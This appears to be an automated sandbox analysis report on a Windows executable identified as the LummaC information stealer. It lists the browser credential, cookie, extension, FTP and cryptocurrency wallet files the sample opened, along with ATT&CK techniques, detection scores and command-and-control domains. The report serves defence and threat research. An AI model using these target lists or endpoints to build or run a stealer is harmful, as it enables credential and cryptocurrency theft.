Source: C:\Users\user\Desktop\dEugughckk.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Users\user\Desktop\dEugughckk.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Users\user\Desktop\dEugughckk.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Users\user\Desktop\dEugughckk.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\Desktop\dEugughckk.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Users\user\Desktop\dEugughckk.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Users\user\Desktop\dEugughckk.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Users\user\Desktop\dEugughckk.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior
Source: C:\Users\user\Desktop\dEugughckk.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\dEugughckk.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Users\user\Desktop\dEugughckk.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Users\user\Desktop\dEugughckk.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Users\user\Desktop\dEugughckk.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Users\user\Desktop\dEugughckk.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\dEugughckk.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Users\user\Desktop\dEugughckk.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Users\user\Desktop\dEugughckk.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\dEugughckk.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Users\user\Desktop\dEugughckk.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\dEugughckk.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Users\user\Desktop\dEugughckk.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\dEugughckk.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Users\user\Desktop\dEugughckk.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Users\user\Desktop\dEugughckk.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Users\user\Desktop\dEugughckk.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Users\user\Desktop\dEugughckk.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Users\user\Desktop\dEugughckk.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\dEugughckk.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\dEugughckk.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Users\user\Desktop\dEugughckk.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Users\user\Desktop\dEugughckk.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Users\user\Desktop\dEugughckk.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\dEugughckk.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Users\user\Desktop\dEugughckk.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Users\user\Desktop\dEugughckk.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Users\user\Desktop\dEugughckk.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Users\user\Desktop\dEugughckk.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\dEugughckk.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Users\user\Desktop\dEugughckk.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\dEugughckk.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\abogmiocnneedmmepnohnhlijcjpcifd	Jump to behavior
Source: C:\Users\user\Desktop\dEugughckk.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Users\user\Desktop\dEugughckk.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Users\user\Desktop\dEugughckk.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Users\user\Desktop\dEugughckk.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\dEugughckk.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Users\user\Desktop\dEugughckk.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Users\user\Desktop\dEugughckk.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Users\user\Desktop\dEugughckk.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\dEugughckk.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Users\user\Desktop\dEugughckk.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Users\user\Desktop\dEugughckk.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\dEugughckk.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Users\user\Desktop\dEugughckk.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Users\user\Desktop\dEugughckk.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Users\user\Desktop\dEugughckk.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Users\user\Desktop\dEugughckk.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Users\user\Desktop\dEugughckk.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Users\user\Desktop\dEugughckk.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Users\user\Desktop\dEugughckk.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Users\user\Desktop\dEugughckk.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Users\user\Desktop\dEugughckk.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Users\user\Desktop\dEugughckk.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Users\user\Desktop\dEugughckk.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\dEugughckk.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Users\user\Desktop\dEugughckk.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior
Source: C:\Users\user\Desktop\dEugughckk.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Users\user\Desktop\dEugughckk.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Users\user\Desktop\dEugughckk.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\dEugughckk.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Users\user\Desktop\dEugughckk.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Users\user\Desktop\dEugughckk.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Users\user\Desktop\dEugughckk.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Users\user\Desktop\dEugughckk.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Users\user\Desktop\dEugughckk.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\dEugughckk.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo	Jump to behavior
Source: C:\Users\user\Desktop\dEugughckk.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla	Jump to behavior
Source: C:\Users\user\Desktop\dEugughckk.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox	Jump to behavior
Source: C:\Users\user\Desktop\dEugughckk.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites	Jump to behavior
Source: C:\Users\user\Desktop\dEugughckk.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush	Jump to behavior
Source: C:\Users\user\Desktop\dEugughckk.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter	Jump to behavior
Source: C:\Users\user\Desktop\dEugughckk.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\dEugughckk.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\dEugughckk.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\dEugughckk.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\dEugughckk.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\dEugughckk.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\dEugughckk.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\dEugughckk.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\dEugughckk.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\dEugughckk.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\Desktop\dEugughckk.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\dEugughckk.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\Desktop\dEugughckk.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: C:\Users\user\Desktop\dEugughckk.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\Desktop\dEugughckk.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\Desktop\dEugughckk.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA	Jump to behavior
Source: C:\Users\user\Desktop\dEugughckk.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA	Jump to behavior
Source: C:\Users\user\Desktop\dEugughckk.exe	Directory queried: C:\Users\user\Documents\LSBIHQFDVT	Jump to behavior
Source: C:\Users\user\Desktop\dEugughckk.exe	Directory queried: C:\Users\user\Documents\LSBIHQFDVT	Jump to behavior
Source: C:\Users\user\Desktop\dEugughckk.exe	Directory queried: C:\Users\user\Documents\SUAVTZKNFL	Jump to behavior
Source: C:\Users\user\Desktop\dEugughckk.exe	Directory queried: C:\Users\user\Documents\SUAVTZKNFL	Jump to behavior
Source: C:\Users\user\Desktop\dEugughckk.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\Desktop\dEugughckk.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\Desktop\dEugughckk.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS	Jump to behavior
Source: C:\Users\user\Desktop\dEugughckk.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS	Jump to behavior

Source: Yara match

File source: Process Memory Space: dEugughckk.exe PID: 6220, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: dEugughckk.exe PID: 6220, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	12 Windows Management Instrumentation	1 DLL Side-Loading	1 Process Injection	44 Virtualization/Sandbox Evasion	2 OS Credential Dumping	851 Security Software Discovery	Remote Services	41 Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 PowerShell	Boot or Logon Initialization Scripts	1 DLL Side-Loading	1 Process Injection	LSASS Memory	44 Virtualization/Sandbox Evasion	Remote Desktop Protocol	Data from Removable Media	2 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 Deobfuscate/Decode Files or Information	Security Account Manager	2 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	113 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	2 Obfuscated Files or Information	NTDS	1 File and Directory Discovery	Distributed Component Object Model	Input Capture	Protocol Impersonation	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	12 Software Packing	LSA Secrets	223 System Information Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	Wi-Fi Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
dEugughckk.exe	63%	ReversingLabs	Win32.Ransomware.Encoder
dEugughckk.exe	54%	Virustotal		Browse
dEugughckk.exe	100%	Avira	TR/Crypt.XPACK.Gen
dEugughckk.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
https://mindhandru.buzz/xt	0%	Avira URL Cloud	safe
https://mindhandru.buzz/apiwDnl	0%	Avira URL Cloud	safe
https://mindhandru.buzz/ms	0%	Avira URL Cloud	safe
screwamusresz.buzz	0%	Avira URL Cloud	safe
scentniej.buzz	0%	Avira URL Cloud	safe
https://mindhandru.buzz/apie	0%	Avira URL Cloud	safe
https://mindhandru.buzz/ksyr	0%	Avira URL Cloud	safe
https://mindhandru.buzz/	0%	Avira URL Cloud	safe
rebuildeso.buzz	0%	Avira URL Cloud	safe
appliacnesot.buzz	0%	Avira URL Cloud	safe
cashfuzysao.buzz	0%	Avira URL Cloud	safe
https://mindhandru.buzz/pi	0%	Avira URL Cloud	safe
prisonyfork.buzz	0%	Avira URL Cloud	safe
https://mindhandru.buzz/apit	0%	Avira URL Cloud	safe
https://mindhandru.buzz/apir	0%	Avira URL Cloud	safe
https://mindhandru.buzz/ap	0%	Avira URL Cloud	safe
https://mindhandru.buzz/d	0%	Avira URL Cloud	safe
inherineau.buzz	0%	Avira URL Cloud	safe
https://mindhandru.buzz/piis	0%	Avira URL Cloud	safe
hummskitnj.buzz	0%	Avira URL Cloud	safe
mindhandru.buzz	0%	Avira URL Cloud	safe
https://mindhandru.buzz/ic9q#	0%	Avira URL Cloud	safe
https://mindhandru.buzz/api	0%	Avira URL Cloud	safe
https://mindhandru.buzz/C	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
mindhandru.buzz	172.67.165.185	true	true		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
scentniej.buzz	true	Avira URL Cloud: safe	unknown
rebuildeso.buzz	true	Avira URL Cloud: safe	unknown
appliacnesot.buzz	true	Avira URL Cloud: safe	unknown
screwamusresz.buzz	true	Avira URL Cloud: safe	unknown
cashfuzysao.buzz	true	Avira URL Cloud: safe	unknown
inherineau.buzz	true	Avira URL Cloud: safe	unknown
prisonyfork.buzz	true	Avira URL Cloud: safe	unknown
hummskitnj.buzz	true	Avira URL Cloud: safe	unknown
mindhandru.buzz	true	Avira URL Cloud: safe	unknown
https://mindhandru.buzz/api	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	dEugughckk.exe, 00000000.00000003.2194229599.00000000053BB000.00000004.00000800.00020000.00000000.sdmp, dEugughckk.exe, 00000000.00000003.2194143002.00000000053BB000.00000004.00000800.00020000.00000000.sdmp, dEugughckk.exe, 00000000.00000003.2194080149.00000000053BE000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	dEugughckk.exe, 00000000.00000003.2194229599.00000000053BB000.00000004.00000800.00020000.00000000.sdmp, dEugughckk.exe, 00000000.00000003.2194143002.00000000053BB000.00000004.00000800.00020000.00000000.sdmp, dEugughckk.exe, 00000000.00000003.2194080149.00000000053BE000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	dEugughckk.exe, 00000000.00000003.2194229599.00000000053BB000.00000004.00000800.00020000.00000000.sdmp, dEugughckk.exe, 00000000.00000003.2194143002.00000000053BB000.00000004.00000800.00020000.00000000.sdmp, dEugughckk.exe, 00000000.00000003.2194080149.00000000053BE000.00000004.00000800.00020000.00000000.sdmp	false		high
https://mindhandru.buzz/apie	dEugughckk.exe, 00000000.00000003.2269832197.0000000000BFA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696484494400800000.2&ci=1696484494189.	dEugughckk.exe, 00000000.00000003.2244483083.0000000005379000.00000004.00000800.00020000.00000000.sdmp	false		high
https://mindhandru.buzz/ksyr	dEugughckk.exe, 00000000.00000003.2344411887.0000000000BCE000.00000004.00000020.00020000.00000000.sdmp, dEugughckk.exe, 00000000.00000002.2346017720.0000000000BDC000.00000004.00000020.00020000.00000000.sdmp, dEugughckk.exe, 00000000.00000003.2344468698.0000000000BDA000.00000004.00000020.00020000.00000000.sdmp, dEugughckk.exe, 00000000.00000003.2291575133.0000000000BDA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://mindhandru.buzz/ms	dEugughckk.exe, 00000000.00000003.2344411887.0000000000BCE000.00000004.00000020.00020000.00000000.sdmp, dEugughckk.exe, 00000000.00000002.2346017720.0000000000BDC000.00000004.00000020.00020000.00000000.sdmp, dEugughckk.exe, 00000000.00000003.2344468698.0000000000BDA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	dEugughckk.exe, 00000000.00000003.2244483083.0000000005379000.00000004.00000800.00020000.00000000.sdmp	false		high
https://mindhandru.buzz/	dEugughckk.exe, 00000000.00000003.2267288282.0000000005378000.00000004.00000800.00020000.00000000.sdmp, dEugughckk.exe, 00000000.00000003.2244483083.000000000537D000.00000004.00000800.00020000.00000000.sdmp, dEugughckk.exe, 00000000.00000003.2220033317.0000000005379000.00000004.00000800.00020000.00000000.sdmp, dEugughckk.exe, 00000000.00000003.2344411887.0000000000BCE000.00000004.00000020.00020000.00000000.sdmp, dEugughckk.exe, 00000000.00000003.2242737956.000000000537D000.00000004.00000800.00020000.00000000.sdmp, dEugughckk.exe, 00000000.00000003.2243039996.000000000537D000.00000004.00000800.00020000.00000000.sdmp, dEugughckk.exe, 00000000.00000003.2291410151.0000000005380000.00000004.00000800.00020000.00000000.sdmp, dEugughckk.exe, 00000000.00000002.2346017720.0000000000BDC000.00000004.00000020.00020000.00000000.sdmp, dEugughckk.exe, 00000000.00000003.2220275050.000000000537A000.00000004.00000800.00020000.00000000.sdmp, dEugughckk.exe, 00000000.00000003.2344468698.0000000000BDA000.00000004.00000020.00020000.00000000.sdmp, dEugughckk.exe, 00000000.00000003.2220109742.0000000005371000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://mindhandru.buzz/xt	dEugughckk.exe, 00000000.00000003.2344411887.0000000000BCE000.00000004.00000020.00020000.00000000.sdmp, dEugughckk.exe, 00000000.00000002.2346017720.0000000000BDC000.00000004.00000020.00020000.00000000.sdmp, dEugughckk.exe, 00000000.00000003.2344468698.0000000000BDA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	dEugughckk.exe, 00000000.00000003.2194229599.00000000053BB000.00000004.00000800.00020000.00000000.sdmp, dEugughckk.exe, 00000000.00000003.2194143002.00000000053BB000.00000004.00000800.00020000.00000000.sdmp, dEugughckk.exe, 00000000.00000003.2194080149.00000000053BE000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.rootca1.amazontrust.com/rootca1.crl0	dEugughckk.exe, 00000000.00000003.2243338635.0000000005392000.00000004.00000800.00020000.00000000.sdmp	false		high
https://mindhandru.buzz/apiwDnl	dEugughckk.exe, 00000000.00000003.2269832197.0000000000BFA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	dEugughckk.exe, 00000000.00000003.2194229599.00000000053BB000.00000004.00000800.00020000.00000000.sdmp, dEugughckk.exe, 00000000.00000003.2194143002.00000000053BB000.00000004.00000800.00020000.00000000.sdmp, dEugughckk.exe, 00000000.00000003.2194080149.00000000053BE000.00000004.00000800.00020000.00000000.sdmp	false		high
http://ocsp.rootca1.amazontrust.com0:	dEugughckk.exe, 00000000.00000003.2243338635.0000000005392000.00000004.00000800.00020000.00000000.sdmp	false		high
https://mindhandru.buzz/pi	dEugughckk.exe, 00000000.00000003.2344601578.0000000000B84000.00000004.00000020.00020000.00000000.sdmp, dEugughckk.exe, 00000000.00000002.2345940306.0000000000B84000.00000004.00000020.00020000.00000000.sdmp, dEugughckk.exe, 00000000.00000003.2269879267.0000000000B84000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
